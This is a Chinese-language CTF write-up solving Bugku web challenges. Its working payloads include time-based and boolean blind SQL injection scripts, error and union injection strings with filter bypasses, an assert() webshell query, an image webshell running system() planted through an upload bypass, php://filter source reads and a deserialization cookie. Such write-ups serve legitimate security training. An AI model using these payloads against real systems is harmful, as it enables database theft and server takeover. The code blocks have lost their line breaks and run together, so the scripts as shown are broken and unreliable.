bugku——web 做题记录
Table of Contents
2,秋名山車神:
3,速度要快
?
4 welcome to the bugkuctf
1,login1(sql約束攻擊)
sql約束攻擊:
2,過狗一句話
3,細心
4,求getshell
5,INSERT INFO (sql注入? ?之? ?X - F -F 頭注入)
6,這是一個神奇的登陸框
7 多數(sql 注入)
8,PHP_encrypt_1(ISCCCTF)(代碼審計)
9, 文件上傳2
10,flag.php(反序列化)
11,sql 注入 2()
12,?Trim的日記本
13,login3(過濾了 空格、=、union、逗號、and、where等字符的 布爾型盲注)
2,秋名山車神:
?
import requests import re ?? ??? ?#這個庫一般用來匹配文字url = 'http://123.206.87.240:8002/qiumingshan/'?#url r = requests.session()??#requests.sesssion()對象可以跨請求的保存某些參數 g = r.get(url)??#產生一個請求資源的對象,get方法 ans = re.findall('<div>(.*?)=?;</div>',g.text) #使用re庫中的findall方法,匹配正則。第一個參數是要匹配的正則表達式, # 第二個參數是將我們請求到的資源變成字符串的形式,再以列表的形式返回到變量ans中 ans = "".join(ans) #將ans從列表的形式轉化為字符串的形式 ans = ans[:-2] #去掉ans最后的兩個字符,這里即去掉=? post = eval(ans)?#執行我們處理完的字符串,即那個變態的表達式 data = {'value':post} #構造data的post部分 flag = r.post(url,data=data) #生成post請求,post的值是算出來的結果 print(flag.text) #打印返回的數據即flag值
 3,速度要快
 
import requests
import base64
url='http://123.206.87.240:8002/web6/'
r = requests.session()
headers = r.get(url).headers  #這三句是為了讓我們能跟網站關聯起來,可以向網站拿數據和發送數據mid = base64.b64decode(headers['flag'])
mid = mid.decode()
print(mid)
#burp suite 回顯的包的headers中發現了flag:...... base64解碼flag = base64.b64decode(mid.split(':')[1])#獲得flag:后的值 并再次解碼
print(flag)data={'margin':flag} 
print(r.post(url,data).text)  #發送margin 并輸出回顯信息 
?
4 welcome to the bugkuctf
1.通過php://input對變量輸入內容,讓file_get_contents能夠讀取變量的內容
2.通過php://filter/read=convert.base64-encode/resource=xxx.php得到其他PHP文件的源代碼
3.通過反序列化,對echo的魔術方法__tostring()里面的參數進行賦值
 ?
首先點入鏈接,查看源代碼:
發現這里是 txt 給user賦值,讀取user的文件,且文件內容是“welcome to the bugkuctf”時,就會包含一個文件,我們可以利用這個文件包含的漏洞,去讀取我們想要的文件,
利用file=php://filter/read=convert.base64-encode/resource=xxx.php (這里必須要先編碼,不然讀到的代碼會被網頁執行)
當然我們的第一反應肯定是去讀flag.php:發現不行
然后嘗試去讀其他文件,比如hint.php 和 index.php
經過base64解碼后得到:
#hint.php <?php class Flag{//flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>";return ("good");} } } ?> #index.php <?php $txt = $_GET["txt"]; $file = $_GET["file"]; $password = $_GET["password"]; if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){ echo "hello friend!<br>"; if(preg_match("/flag/",$file)){ echo "不能現在就給你flag哦";exit(); }else{ include($file); $password = unserialize($password); echo $password; } }else{ echo "you are not the number of bugku ! "; } ?> <!-- $user = $_GET["txt"]; $file = $_GET["file"]; $pass = $_GET["password"]; if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){ echo "hello admin!<br>"; include($file); //hint.php }else{ echo "you are not admin ! "; } -->讀index.php 發現file變量的內容中不允許有flag,否則直接輸出并退出;
發現index.php中還有反序列化的內容,并且輸出了字符串(輸出字符串時會自動調用_toString()魔術方法)
于是想到構造序列化的字符串,使在調用魔術方法時能讀取并輸出 flag.php 文件
?
并通過bp 去獲取flag://flag{php_is_the_best_language} ?1
1,login1(sql約束攻擊)
sql約束攻擊:
1、sql處理字符串時,一般是在比較字符串時,會自動刪去末尾多余的空格,這是因為,SQL會在內部使用空格來填充字符串,以便在比較之前使其它們的長度保持一致。這一點,對于where和insert語句是成立的,對于like語句無效。
 也就是說,"admin"和"admin? ? ? ? ? ? ?"是等效的。因此,用where id="admin"查詢和用where id="admin? ? ? ? ? "查詢的結果相同。
 2、SQL中varchar(n)用于限制最大長度,若字符串長度大于n,則只截取前n個字符。如果用varchar(5)限制了insert查詢的最大長度,則插入
 "admin"和"admin? ? ? ? ? ? ?“,最終都會得到"admin”,因此查詢"admin "得到的結果是"admin"的信息。
3,可以自己測試一下,注冊"admin? ? "(admin和4個空格)varchar(15),因為"admin" 與"admin? ? "的長度不同,會成功存入數據庫中,打開PHPadmin? ? 查看一下,的確有 "admin? ? "這個新注冊的用戶,然后修改用戶 "admin? ? ?"的密碼為 123123,會發現是原來的"admin"用戶的密碼被修改為 123123
因此,
 可以利用這個漏洞來繞過,方法:若注冊時已知admin這個用戶名存在,則我們可以注冊admin(空格空格空格…)這個用戶名,密碼自定,然后登錄時用剛剛注冊的用戶名和密碼即可得到真實的想要的admin信息或權限。
 2,過狗一句話
 
1,根據提示:
 ?
explode()是將字符串分割為數組
化簡后就是:
assert($_GET['s'])//assert()會將執行內部的字符串 ,有漏洞在地址欄中構造payload:
http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))去瀏覽目錄:
得到的信息:
Array ( [0] => . [1] => .. [2] => 666.php [3] => 777.php [4] => a.php [5] => aa.php [6] => asd.php [7] => b.php [8] => flag_aaa.txt [9] => flag_sm1skla1.txt [10] => index.php [11] => newfile.txt [12] => readme.txt [13] => sy.php [14] => sy1.php [15] => sy2.php [16] => t1.php [17] => test.php [18] => test.txt [19] => testfile.txt [20] => webshell.php )
 打開 得到flag:
flag: BUGKU{bugku_web_009801_a}
3,細心
打開:提示讓用admin
先用御劍掃描一下后臺窗口:
 發現有有一個 robotx.txt協議
打開協議:
進入 resusl.php
接著傳參 ?x=admin
得到:flag(ctf_0098_lkji-s)
4,求getshell
上傳題:
 一共三個過濾
請求頭部的 Content-Type
 文件后綴
 請求數據的Content-Type
 這里是黑名單過濾來判斷文件后綴,依次嘗試php4,phtml,phtm,phps,php5(包括一些字母改變大小寫)
 最終發現,php5可以繞過
接下來,請求數據的Content-Type字段改為 image/jpeg
但是一開始沒注意到,上面還有一個請求頭Content-Type字段,大小寫繞過: MuLtipart/form-data;
KEY{bb35dc123820e}
5,INSERT INFO (sql注入? ?之? ?X - F -F 頭注入)
提上給的代碼:
<?php error_reporting(0); function getIp(){$ip = '';if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];}else{$ip = $_SERVER['REMOTE_ADDR'];}$ip_arr = explode(',', $ip);return $ip_arr[0]; } $host="localhost"; $user=""; $pass=""; $db=""; $connect = mysql_connect($host, $user, $pass) or die("Unable to connect"); mysql_select_db($db) or die("Unable to select database"); $ip = getIp(); echo 'your ip is :'.$ip; $sql="insert into client_ip (ip) values ('$ip')"; mysql_query($sql); ?>大致意思就是將獲取的 XFF頭的ip 地址 插入了數據控中 這里存在了一個注入點, 因為沒有對 XFF頭的信息進行過濾
用burp-suit進行手工注入是不可能的,這輩子都不會用 手工進行 延時注入的
直接上py腳本
首先獲取數據庫名 + 表名
import requestschar= '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_@.%&-' url = 'http://123.206.87.240:8002/web15/'payload_db_len = "1'+(select case when (length(database())='{0}') then sleep(6) else 1 end)+'1" #猜解數據庫名稱的payload payload_db = "1'+(select case when (substr(database() from {0} for 1)='{1}') then sleep(6) else 1 end)+'1" #猜解表數量的payload payload_tb_num = "1'+(select case when (select count(*) from information_schema.TABLES where TABLE_SCHEMA='{0}')='{1}' then sleep(6) else 1 end)+'1" #猜解表名字長度的payload payload_tb_name_len = "1'+(select case when (select length(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) = '{2}' then sleep(6) else 1 end)+'1" #猜解表名字的payload payload_tb_name = "1'+(select case when (substr((select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='{0}' limit 1 offset {1}) from {2} for 1)) = '{3}' then sleep(6) else 1 end)+'1"db_length = 0 def get_db_length():#數據庫名長度global db_lengthfor n in range(1,40):try:headers = {'x-forwarded-for': payload_db_len.format(n)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:db_length = nbreakprint("db_length:"+ str(db_length))db_name = '' def get_db_name(): # 數據庫名破解global db_namefor i in range(1, db_length +1):for j in char:try:headers = {'x-forwarded-for': payload_db.format(i,j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:# print(payload_db.format(i,j))db_name += jbreakprint('db_name: ' + db_name)table_num = 0 def get_data_num():#獲取表的數量global table_numfor i in range(1, 50):try:headers = {'x-forwarded-for': payload_tb_num.format(db_name, str(i))}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:table_num = iprint('table_num: ' + str(i))breakdef get_table_name():len = 0for i in range(table_num):for j in range(50):try:headers = {'x-forwarded-for': payload_tb_name_len.format(db_name, i, j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:len = jbreakprint("No." + str(i + 1) + " table's length is: " + str(len))table_name = ''for k in range(1, len + 1):for j in char:try:headers = {'x-forwarded-for': payload_tb_name.format(db_name, i, k, j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:# print(payload_tb_name.format(db_name,i,k,j))table_name += jbreakprint(table_name)get_db_length() get_db_name() get_data_num() get_table_name()字段名:
import requestsdic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_-+=@%^&.' url = 'http://123.206.87.240:8002/web15/'target_db = 'web15' target_tb = 'flag'payload_col_num = "1'+(select case when (select count(*) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}') = '{2}' then sleep(6) else 1 end)+'1" payload_col_len = "1'+(select case when (select length(COLUMN_NAME) from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset {2}) = '{3}' then sleep(6) else 1 end)+'1" payload_col_name = "1'+(select case when (substr((select COLUMN_NAME from information_schema.COLUMNS where TABLE_SCHEMA='{0}' and TABLE_NAME='{1}' limit 1 offset {2}) from {3} for 1)) = '{4}' then sleep(6) else 1 end)+'1"col_num = 0 def get_col_num():global col_numfor i in range(50):try:headers = {'x-forwarded-for': payload_col_num.format(target_db, target_tb, i)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:col_num = ibreakprint('col_num = ' + str(col_num))def get_col_name():len = 0for i in range(col_num):for j in range(50):try:headers = {'x-forwarded-for': payload_col_len.format(target_db, target_tb, i, j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:len = jprint("No." + str(i + 1) + "column's length : " + str(len))breakcol_name = ''for k in range(1, len + 1):for j in dic:try:headers = {'x-forwarded-for': payload_col_name.format(target_db, target_tb, i, k, j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:col_name += jprint(col_name)breakget_col_num() get_col_name()脫庫:
import requestsdic='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUZWXYZ_' url = "http://123.206.87.240:8002/web15/"paylaod_content = "1'+(select case when (substr((select flag from flag) from {0} for 1)) = '{1}' then sleep(6) else 1 end)+'1" flag = '' def get_flag():global flagfor i in range(1, 100):for j in dic:try:headers = {'x-forwarded-for': paylaod_content.format(i, j)}res = requests.get(url, headers=headers, timeout=5)except requests.exceptions.ReadTimeout:#print(paylaod_content.format(i, j))flag += jbreakprint("....: "+flag)get_flag() print(flag)6,這是一個神奇的登陸框
打開是一個登錄框 ,一看就知道是在考察? sql 注入 的相關知識? ok
第一步 : 找 username 的 閉合方式,輸入 1"? 發現竟然可以報錯? ,那這就簡單了好多啊
確定是? 雙引號 的閉合
第二步爆信息
爆庫名:
1" and 1=extractvalue(1,concat(0x7e,(database()))) #爆出: 數據庫名:bugkusql1
爆表名:
1" and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema = database()))) #爆字段:
1" and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name = 'flag1'))) #脫庫:
 ?
這里提交flag后發現是錯誤的 !!!!!看一下 是31位 的字符串? 似乎是少了一位
傲傲? 我知道了報錯注入? 的 extractvalue() 函數? 和 updatexml() 函數的回顯位 最多為 32 位
那換 用 聯合查詢 :
換用聯合查詢需要先 確定 回顯位?
先用 1"?order by 3 #? ?發現? 錯誤
再用??1"?order by 2?#? 正常
用?1"? union select? 3,4 #? ?發現回顯的是? ?3? ? ok那就在? 3 的位置進行注入
直接跳到脫庫吧:
?
-1" union select group_concat(flag1),2 from flag1 #得到flag:
flag{ed6b28e684817d9efcaf802979e57aea}
?
看來還是要少用報錯注入啊
?
7 多數(sql 注入)
提示有兩個? flag (這點很重要)而且都是小寫
打開鏈接 發現是一個 典型的 GET 型 sql注入 題
第一步:先測 閉合方式? :
當注入? 單引號時? ?會出現? Error!Error!Error!
?加? 注釋符 --+? 后? 回顯正常
可知道 閉合方式 是 單引號? 而且 不會報錯,這里不能用報錯注入
第二步: 測有幾個回顯字段
?id=1'order by 2 --+發現無論怎么改變 后面的數字? 都 是?? Error! Error! Error!
考慮可能是 把關鍵字過濾了? 猜測可能 把? or? ?and? union select 等關鍵字過濾了
注入:
?id=1' oorrder by 2 --+ //正常?id=1' oorrder by 3 --+ //Error!證實了我的想法? or? 被過濾 了? ? 這里使用? 雙寫的方法繞過 過濾
后面? 其他被過濾的 關鍵字我就不一一說明 證明方法了
?id=-1' uniounionn selecselectt 1,3--+ // 回顯的 是 3得出有兩個回顯字段? 并且 回顯位為第二個 位置
第三步: 報信息
// 爆庫名?id=-1' uniounionn selecselectt 1,database()--+得到庫名 :web1002-1// 爆表?id=-1' uniounionn selecselectt 1,group_concat(table_name)from infoorrmation_schema.tables where table_schema = database()--+得到表名:flag1,hint//爆字段?id=-1' uniounionn selecselectt 1,group_concat(column_name)from infoorrmation_schema.columns where table_name= 'flag1'--+得到字段:flag1,address//脫庫?id=-1' uniounionn selecselectt 1,group_concat(flag1)from flag1 --+得到信息: usOwycTju+FTUUzXosjr轉化成全小寫后 得到?flag{usowyctju+ftuuzxosjr}? ?提交發現 不對?
嘗試 爆第二個字段:
?id=-1' uniounionn selecselectt 1,group_concat(address)from flag1 --+得到:
進去發現 有又一道 sql 注入題
第一步: 確定閉合方式??
注入? 單引號時? 有報錯信息 顯示? 雙引號時 正常? ?說明 是? 單引號 閉合? ?
有報錯信息 那就可以用? ?報錯注入了
第二步 : 爆信息 (用報錯注入的話就 不用在確定回顯位等等那么麻煩了 , 直接爆信息就行)
// 爆庫名?id=1' and 1= extractvalue(1,concat(0x7e,(database()))) --+庫名:web1002-2// 爆表?id=1'%20 and 1= extractvalue(1,concat(0x7e,(select%20 group_concat(table_name)from information_schema.tables where table_schema = database()))) --+得到表名:class,flag2// 爆字段 ?id=1'%20 and 1= extractvalue(1,concat(0x7e,(select%20 group_concat(column_name)from information_schema.columns where table_name='flag2'))) --+得到字段:flag2,address// 脫庫 ?id=1'%20 and 1= extractvalue(1,concat(0x7e,(select%20 group_concat(flag2)from flag2))) --+得到:flag{Bugku-sql_6s-2i-4t-bug}?
將得到的flag 轉換成 小寫得到??flag{bugku-sql_6s-2i-4t-bug}
注入結束!(這題好像 把 union 關鍵字過濾了)
補充一點 : 這題不能用 盲注 進行操作,因為他把 sleep? ?和 substr? 和 union 關鍵字被過濾了
總結 : 判斷某關鍵字是否被過濾的方法:
用 異或符 ^ 進行判斷
比如:?
?id=1'^(length('union')>0)--+ // 回顯正常 說明 union 被過濾了 ?id=1'^(length('xss')>0)--+ // 回顯錯誤 說明 xss 沒有被過濾8,PHP_encrypt_1(ISCCCTF)(代碼審計)
首先發現一段密文: base64解密一下 沒解出東西
fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
打開文件是個php 的加密函數:
<?php function encrypt($data,$key) {$key = md5('ISCC');$x = 0;$len = strlen($data);$klen = strlen($key);for ($i=0; $i < $len; $i++) { if ($x == $klen){$x = 0;}$char .= $key[$x];$x+=1;}for ($i=0; $i < $len; $i++) {$str .= chr((ord($data[$i]) + ord($char[$i])) % 128);}return base64_encode($str); }?>看來給出的密文應該是 經過這個 函數加密后得到的??
那 就需要 寫一個 解密函數? 把密文解密 應該就可以得到flag? 了
直接去找了兩個 代碼:
Python 腳本:
import base64 import hashlibdef decrypt(b64):b64 = str(base64.b64decode(b64), encoding='utf8') # base64轉換后是byte類型數據key = 'ISCC'm = hashlib.md5()m.update(key.encode())md = m.hexdigest()b64_len = len(b64)x = 0char = ''for i in range(b64_len): # strlen($str)==strlen($char)==strlen($data)if x == len(md):x = 0char += md[x]x += 1data = ''for i in range(b64_len): # 也可不進行正負判斷:data += chr((ord(b64[i]) - ord(char[i])+128) % 128)d = ord(b64[i]) - ord(char[i])if d > 0: # 進行判斷,如果相減小于0,說明需要加上128data += chr(d)else:data += chr(d + 128)print(data)if __name__ == "__main__":b64 = 'fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA='decrypt(b64)?
php腳本:
<?php function decrypt($str) {$mkey = "729623334f0aa2784a1599fd374c120d";$klen = strlen($mkey);$tmp = $str;$tmp = base64_decode($tmp); // 對 base64 后的字符串 decode$md_len = strlen($tmp); //獲取字符串長度$x = 0;$char = "";for($i=0;$i < $md_len;$i++) { // 取二次加密用 key;if ($x == $klen) // 數據長度是否超過 key 長度檢測$x = 0;$char .= $mkey[$x]; // 從 key 中取二次加密用 key$x+=1;}$md_data = array();for($i=0;$i<$md_len;$i++) { // 取偏移后密文數據array_push($md_data, ord($tmp[$i]));}$md_data_source = array();$data1 = "";$data2 = "";foreach ($md_data as $key => $value) { // 對偏移后的密文數據進行還原$i = $key;if($i >= strlen($mkey)) {$i = $i - strlen($mkey);}$dd = $value;$od = ord($mkey[$i]);array_push($md_data_source,$dd);$data1 .= chr(($dd+128)-$od); // 第一種可能, 余數+128-key 為回歸數$data2 .= chr($dd-$od); // 第二種可能, 余數直接-key 為回歸數}print "data1 => ".$data1."<br>\n";print "data2 => ".$data2."<br>\n"; } $str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA="; decrypt($str); ?>?
跑出來的 flag:
Flag:{asdqwdfasfdawfefqwdqwdadwqadawd}
?
9, 文件上傳2
?
查看源代碼? 一段JavaScript的event:大致意思按 b 就會重新定向到新的頁面 然后試了一下 發現是假的
發現注釋有給提示 :
訪問一下 upload.php
http://123.206.31.85:49166/index.php?file=upload.php出現一個上傳頁面:
那就利用這個上傳,構造一個 圖片馬? 來獲取系統文件 的目錄 從而得到 flag所在文件的文件名
構造一個圖片馬 :
構造payload:
<script language=php>system("1")</script>找一個小一點的圖片 用 winhex 打開? 把payload 插入到 最后 然后保存? ? ?上傳
上傳 后:
然后訪問 這個文件(如果payload還在 圖片中的話 這段代碼會被瀏覽器解析 執行? 從而顯示系統目錄)、
http://123.206.31.85:49166/index.php?file=upload/20190818454656.jpg發現圖片被重新渲染了? 插入的代碼不見了
那我們就把代碼插入到不會重新渲染的部分:(一般在文件頭偏后一點的位置)
然后重新上傳 訪問 后 正常解析:
得到了系統目錄?
然后訪問 flag 文件
http://123.206.31.85:49166/index.php?file=this_is_th3_F14g_154f65sd4g35f4d6f43.txt然后得到 flag:
?
SKCTF{uP104D_1nclud3_426fh8_is_Fun}
?
10,flag.php(反序列化)
打開題目入口時有提示:
進入是一個登陸表單 ,我還以為是一個 sql注入題呢,然后輸入 admin admin 后點 login 不管用??
打開 源代碼 沒發現什么異常? 就是 沒有跳轉的頁面而已
這時候想到提示? 的? hint? 既然post 不行 就試一試? get
在 url 中 注入:
?hint=1出現了 后臺的源代碼:
大致意思是說:
第一句話的意思 是? 得到? 用戶名 為 ISecer 的cookie
如果 通過 get 傳入了 參數 hint 的話? 就輸出 后臺 的源代碼
否則 如果 cookie 的反序列化的 值? 等于? $KEY? 的話 就輸出 flag?
?
看到 最后一句話的時候 我沒加思索的 就認為 $KEY 的值? 就是?'ISecer:www.isecer.com'
后來提交后沒出來 flag 時 ,回過頭來仔細看 才發現 這里 $KEY 是 最后賦值的 跟前面一毛錢關系也沒有
也就是說? 前面的? $KEY = NULL
既然要提交Cookie 那我們就 用? burp suite 提交構造的 Cookie唄
構造Cookie :
這里需要考慮到反序列化的問題 ,所以構造 :
Cookie: ISecer=s:0:""%3B// %3B 是 ; 的意思得到flag:
 ?
flag{unserialize_by_virink}
?
11,sql 注入 2()
方法一:正常的注入手段解決
入口處提示 過濾了 部分字符:
到底過濾了哪些字符呢?? 搞了個 關鍵字符 的字典 在 burp-suite 中 搞一下:
不過 發現異或符號 ^ 和 -? 沒有被過濾!!!這點 非常重要
嘗試注入:uname=admin'^'? ? ? ?回顯password error
嘗試注入:uname=admin'^1^'? ? ?回顯 username error
這里 就可以的得出一個結論? : 如果中間 的 部分是正確的? 即為 1? 的話? 就會回顯 username error?
利用這一點我們就可以 使用腳本進行注入了:
由于 逗號? 和 空格 都被過濾了? 所以 substr()函數就不能用了?
需要找一個替代方案:mid()
mid()函數的特性:
mid("password"from(-1)) 返回 dmid("password"from(-3)) 返回 ord我們再利用一個 reverse() 函數 將字符串翻轉??
然后再利用 mid()? 函數 截取最后一個 字符? ?就能 實現? substr(string,start,1)的功能了
mid("12345"from(-3)) // 345reverse(mid("12345"from(-3))) //543mid(reverse(mid("12345"from(-3)))from(-1)) // 3?
然后我們 就可以寫腳本注入了: 此時我們可以選擇
1,? 按照常規的注入 方式? ?從數據庫名 一步一步得到 flag (太麻煩了也)
2.,選擇 注入? 存儲 用戶信息的表? ?去 得到??username 和password? ? 登錄后就會拿到 flag
(第二種比較簡單 ,因為我們已經知道一個用戶名? admin 了 ,只需要去 得到password 就可以了)
?
?上腳本:
# -*-coding:utf-8-*- # author : wen # flag:wen{b7bb30b3435f2e7c418b131f9e789f81}import requestsurl = 'http://123.206.87.240:8007/web2/login.php' char = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.{}'flag = ''for i in range(1, 40):for p in range(32, 126):# url = base_url + u"1' and substr((select flag from flag),%d,1)='%s' --+" %(i,p)payload = u"admin'-(ascii(mid(REVERSE(MID((passwd)from(-%d)))from(-1)))=%d)-'" % (i, p)data = {'uname': payload,'passwd': '123456'}html = requests.post(url, data=data).textif 'username' in html:print(i)flag += chr(p)print(flag) print("=================================>")print("\n" + flag)看完這個腳本是不是和我一樣有很多 疑問?
1, 這里的? 字段 passwd? 是哪里來的?? ? 看網頁源碼 看到表單中? 用的 passwd ,就猜測數據庫中 也用的 passwd?
(或者你就直接在腳本里試? password? 、passwd、pwd)
2,為什么沒有 用常規的? select 語句去 查詢 passwd? ? 因為這用 用的是異或 語句?
異或語句 的 返回值 只能是 1? 或 0? ? ?異或語句前面再加一個 where 時 情況就變得不太一樣,具體請看下面的例子:
 ?
正常的查詢語句:select * from xxx where username=‘xxxx’;
再試一下:select *from users where username=0? ??
這里幾乎輸出了 所有的信息? (username = 123Mikasa 的沒有輸出) 因為這里就行查詢 對比 時? 字符串會被強制轉換為? 和 0 一樣的 類型? ,而?123Mikasa? 轉換為int 時? 為? 123 ,所以沒有輸出
?
而我們用 的 異或語句? ?返回值? 就是布爾型的? ? ?在 后臺程序進行查詢比對信息時就構成了:
select *from users where uname=0,passed=123,所以 uname 為 純 字符的都會被查詢??
?
得到 一個 32位的字符串 32位那肯定是 md5 了 解密 得到 :admin123
uname :? admin
passwd: admin123
登錄后:看到這個界面? 隨便輸了字符 就得到flag:
flag{sql_iNJEct_comMon3600!}
?
?
方法 二:用 DS_Store 源碼泄露?
用 御劍 跑了一下 沒有 發現什么
只好用 Python 腳本來跑:(這個腳本其實和御劍后臺掃描差不多)
DS_Store下載地址:https://github.com/lijiejie/ds_store_exp?
(我的電腦同時裝了 Python 2? 和? Python 3? ,并都配置了相關的路徑? ,所以 我在跑代碼是 前面 必須加 python2? 或者 python3 ,)
進入:http://123.206.87.240:8007/web2/flag 后會自動下載一個 flag 文件? ?用記事本打開 就能看到flag
?
12,?Trim的日記本
打開 login 界面 和 register 界面? 都顯示? ?mysql connect error? 查看源碼也沒發現什么 異常
只好先打開御劍 掃描一下 了
結構掃面出來一個? show.php? 打開;
這個flag? 咱也不知道 是真是假 這 200 分的題這么容易就給了flag??
不管了 提交一下試一試? 直接復制提交? ? ?過了 。。。。。。what? ? 果然大佬? 都是怪獸 !!!!
flag1:{0/m9o9PDtcSyu7Tt}? ? ?直接提交
?
13,login3(過濾了 空格、=、union、逗號、and、where等字符的 布爾型盲注)
首先 試一下? admin 和 admin? 提示 password error!(這里知道用戶名 admin是存在的)
這里知道了用戶名 admin,那用萬能密碼試一下唄
輸入密碼: admin' or 1 =1? #? ?提示password error !應該是有 過濾吧
用 自己寫的 sql 關鍵字 字典 在burp-suite 中 跑一下 看看到底有哪些 字符被過濾了:
對username 字段:(返回值為 1016 的 在response 中 提示 非法字符 ,說明 1016 的字符試被過濾的 ,1023的沒有過濾)
可以看到? ?= ,逗號,union ,and 、where 都被過濾了?
對password字段:(username 設置的是 admin? ,注入password,返回值全是 1014,response中全是 passWord error!根本看不出開有哪些字符被過濾了)
咱們的思路肯定不能是 去 一步一步的爆 庫 了,太麻煩了
既然知道了用戶名? 那直接組爆? password 不就行了?
還好沒有 過濾? 異或 符? ^? ? 那我們就用 異或 注入
當 在 username 中? 輸入??admin'^' 時? ?會提示? ?password error!
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?輸入??admin'^1^'時? 會提示??username does not exist!
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?輸入? ?admin'^0^'時 會提示? password error!
那我們就可以去 把?admin'^0^'? ?中? 0 位置的 替換成我們的布爾判斷語句?
如果 判斷語句是正確的即為1? 那就會提示?username does not exist!
否則就會提示 : password error !?
根據這個 去寫一個? 布爾的盲注腳本:(在用 substr()函數的時候特別注入 逗號 被過濾的? 只能 用 from的形式)
import requestsurl = "http://123.206.31.85:49167/index.php" char = "1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/=" result = '' for i in range(1,45):stop = 0for c in char:#兩個payload的表達方式不同 都是可以用的 ,任選其一#payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i),ord(c))payload = "admin'^(ascii(substr((select(password)from(admin))from({0})))<>{1})^0#".format(str(i),ord(c))data = {'username': payload,'password': '123'}html = requests.post(url, data=data)if 'error' in html.text:result +=cstop =1print(i)print("......" + result)break #匹配到值后內循環停止if stop == 0: #當內循環匹配不到值的時候外循環就停止print("\n"+result)break然后就得到 password 的? 值 為一個 md5加密過的字符串 :51b7a76d51e70b419f60d3473fb6f900
解密后得到:skctf123456
輸入admin? 和?skctf123456 后得到flag:
 ?
SKCTF{b1iNd_SQL_iNJEcti0n!}
?
?
?
總結
以上是生活随笔為你收集整理的bugku——web 做题记录的全部內容,希望文章能夠幫你解決所遇到的問題。
                            
                        - 上一篇: bugku ——杂项
 - 下一篇: 攻防世界 ——crypto